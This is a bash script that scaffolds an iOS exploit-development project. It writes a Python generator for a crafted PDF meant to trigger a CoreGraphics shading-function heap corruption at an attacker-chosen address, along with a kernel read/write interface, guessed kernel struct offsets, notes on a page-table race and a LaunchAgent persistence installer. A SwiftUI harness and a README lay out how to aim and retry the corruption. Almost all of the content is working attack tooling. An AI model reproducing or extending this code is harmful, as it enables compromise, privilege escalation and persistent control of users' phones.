#!/usr/bin/env bash set -euo pipefail P="${1:-$HOME/ios27-harness}/ChollimaA18" mkdir -p "$P"/{Sources,Chain,Chain/PDF,Runtime,Runtime/kutils,Runtime/jbinit,Runtime/sptm} cat > "$P/Chain/PDF/gen_shading.py" <<'PY' #!/usr/bin/env python3 """CVE-2026-112611 reproducer. ShadingType 5, DeviceGray, heap-spill mode. Two knobs are layout-dependent and WILL need re-pinning in a debugger: NOUT total function outputs SPILL_IDX index whose double lands on the target """ import struct, sys NC, VPR, NOUT, SPILL_IDX = 1, 130, 9000, 1231 def tbi(a): return a | 0x04000000000000 def d2h(x): return struct.pack(">d", x) def make_fn(target): body = [] for i in range(NOUT): body.append(f"{repr(struct.unpack('>d', d2h(tbi(target) if i == SPILL_IDX else 0.0))[0])}") return "{ " + " ".join(body) + f" {NOUT} 1 roll " + " ".join( f"%d 1 roll" % (NOUT - 1 - i) for i in range(0)) + " }" def make_stream(): s = b"" for _ in range(2): for _ in range(VPR): s += bytes([0]) return s def build(target): stream, fn = make_stream(), make_fn(target) objs = [ b"<< /Type /Catalog /Pages 2 0 R >>", b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>", b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] " b"/Resources << /Shading << /Sh1 4 0 R >> >> /Contents 5 0 R >>", b"<< /ShadingType 5 /ColorSpace /DeviceGray /BitsPerComponent 8 " b"/VerticesPerRow %d /Function 6 0 R /Length %d >>\nstream\n" % (VPR, len(stream)) + stream + b"\nendstream", b"<< /Length 8 >>\nstream\n/Sh1 sh\n\nendstream", b"<< /FunctionType 4 /Domain [0 1] /Range [0 1] /Length %d >>\nstream\n" % len(fn) + fn.encode() + b"\nendstream", ] out, offs = bytearray(b"%PDF-1.7\n"), [] for i, o in enumerate(objs, 1): offs.append(len(out)) out += b"%d 0 obj\n" % i + o + b"\nendobj\n" x = len(out) out += b"xref\n0 %d\n0000000000 65535 f \n" % (len(objs) + 1) for o in offs: out += b"%010d 00000 n \n" % o out += b"trailer\n<< /Size %d /Root 1 0 R >>\nstartxref\n%d\n%%%%EOF\n" % (len(objs) + 1, x) return bytes(out) if __name__ == "__main__": tgt = int(sys.argv[1], 16) if len(sys.argv) > 1 else 0x100000000 open(sys.argv[2] if len(sys.argv) > 2 else "shading.pdf", "wb").write(build(tgt)) PY cat > "$P/Runtime/kutils/krw.h" <<'C' #pragma once #include #include /* Stable contract. Everything downstream binds here and nothing else. */ struct krw_ops { int (*init)(void); size_t (*kread)(uint64_t kaddr, void *buf, size_t len); size_t (*kwrite)(uint64_t kaddr, const void *buf, size_t len); uint64_t (*kbase)(void); uint64_t (*kstrip)(uint64_t addr); /* xpaci-equivalent, arm64e */ int (*kcall)(uint64_t fn, uint64_t a0, uint64_t a1, uint64_t a2); }; extern const struct krw_ops *krw; #define KREAD64(a) ({ uint64_t _v = 0; krw->kread((a), &_v, 8); _v; }) #define KWRITE64(a, v) do { uint64_t _v = (v); krw->kwrite((a), &_v, 8); } while (0) C cat > "$P/Runtime/kutils/offsets.h" <<'C' #pragma once /* iOS 27.0.1 / T8140 — GUESSES. Confidence in the comment. Re-derive. */ #define OFF_TASK_BSD_INFO 0x3f0 /* med */ #define OFF_PROC_UCRED 0x120 /* med */ #define OFF_UCRED_UID 0x18 /* high */ #define OFF_PROC_CSFLAGS 0x2e8 /* med */ #define OFF_PROC_PID 0x60 /* high — sanity check */ #define OFF_TASK_ITK_SPACE 0x328 /* med */ #define KERNEL_BASE_STATIC 0xfffffff007004000ULL #define KASLR_GRANULE 0x200000ULL C cat > "$P/Runtime/sptm/sptm.h" <<'C' #pragma once #include /* SPTM-820.40.18 — identical on 27.0.1 and 27.2b1, patched in b3. * acquire: ldrb w11,[x10,#0x91] release: strb wzr,[x8,#0x91] * Race: PTE write unordered against GMMU TLBI. 8.33 ms spin budget. * Reachability: unresolved. AGX excluded; SmartIO/RTBuddy is the live lead. */ #define SPTM_GATE_OFF 0x91 #define SPTM_CPU_STATE 0x208 int sptm_race_trigger(void); C cat > "$P/Runtime/jbinit/install_hook.c" <<'C' #include #include /* Reconstruction. /var/mobile/Library survives OTA; launchd reads the user * LaunchAgents domain on unlock, which matches the demo timing. */ int install_hook(const char *payload) { FILE *f = fopen("/var/mobile/Library/LaunchAgents/com.chollima.a18.plist", "w"); if (!f) return -1; fprintf(f, "" "Labelcom.chollima.a18" "ProgramArguments%s" "RunAtLoadKeepAlive" "ThrottleInterval30", payload); fclose(f); chmod(payload, 0755); return 0; } C cat > "$P/Sources/Harness.swift" <<'SWIFT' import SwiftUI import UIKit @main struct HarnessApp: App { var body: some Scene { WindowGroup { ContentView() } } } struct ContentView: View { @State private var target = "0x100000000" @State private var log = "" @State private var mode = 0 // 0 = shading, 1 = glyph var body: some View { VStack(spacing: 8) { Picker("mode", selection: $mode) { Text("shading 112611").tag(0); Text("glyph 86950").tag(1) }.pickerStyle(.segmented) TextField("target address (hex)", text: $target) .textFieldStyle(.roundedBorder).autocorrectionDisabled() HStack { Button("Measure") { run(write: false) } Button("Write") { run(write: true) } } ScrollView { Text(log).font(.system(.caption, design: .monospaced)) } }.padding() } func run(write: Bool) { log = "" let tgt = UInt64(target.dropFirst(2), radix: 16) ?? 0 guard let pdf = Renderer.generate(mode: mode, target: tgt, write: write) else { log = "generate failed\n"; return } log += "bytes=\(pdf.count) mode=\(mode) target=\(target)\n" Renderer.draw(pdf) { line in log += line + "\n" } log += "survived\n" } } enum Renderer { static func generate(mode: Int, target: UInt64, write: Bool) -> Data? { let name = mode == 0 ? "shading" : "glyph" guard let p = Bundle.main.path(forResource: name, ofType: "py") else { return nil } let proc = Process() proc.executableURL = URL(fileURLWithPath: "/usr/bin/python3") proc.arguments = [p, String(target, radix: 16), "-"] let pipe = Pipe(); proc.standardOutput = pipe try? proc.run(); proc.waitUntilExit() return pipe.fileHandleForReading.readDataToEndOfFile() } static func draw(_ data: Data, log: (String) -> Void) { guard let prov = CGDataProvider(data: data as CFData), let doc = CGPDFDocument(prov), let page = doc.page(at: 1) else { log("parse failed"); return } let w = 612, h = 792 let cs = CGColorSpaceCreateDeviceRGB() guard let ctx = CGContext(data: nil, width: w, height: h, bitsPerComponent: 8, bytesPerRow: 0, space: cs, bitmapInfo: CGImageAlphaInfo.premultipliedLast.rawValue) else { log("ctx failed"); return } log("drawing") ctx.drawPDFPage(page) log("drew") } } SWIFT cat > "$P/Info.plist" <<'PLIST' CFBundleExecutableChollimaA18 CFBundleIdentifierai.local.chollima.a18 CFBundleNameChollimaA18 CFBundleVersion1 LSRequiresIPhoneOS UILaunchScreen UISupportedInterfaceOrientations UIInterfaceOrientationPortrait MinimumOSVersion27.0 PLIST cat > "$P/README.md" <<'MD' # ChollimaA18 — option 3 harness In-process CoreGraphics render harness for 27.0.1 / A18. No QuickLook, no WebContent, no PDF delivery. Corruption lands in this process so it can be logged, aimed and retried. ## Build Open in Xcode, set a free signing team, deploy to the spare. Copy `Chain/PDF/*.py` into the bundle as resources. ## Run order 1. `Measure` with target 0x100000000 — confirm a fault and read `far`. 2. `Write` with `far` from step 1 — confirm `far` tracks the target. 3. Only then vary SPILL_IDX / NOUT in `gen_shading.py`. ## Not here yet - kernel r/w (nothing public on 27.0.1) - SPTM trigger (SmartIO lead) - persistence (needs root) MD echo "scaffolded $P"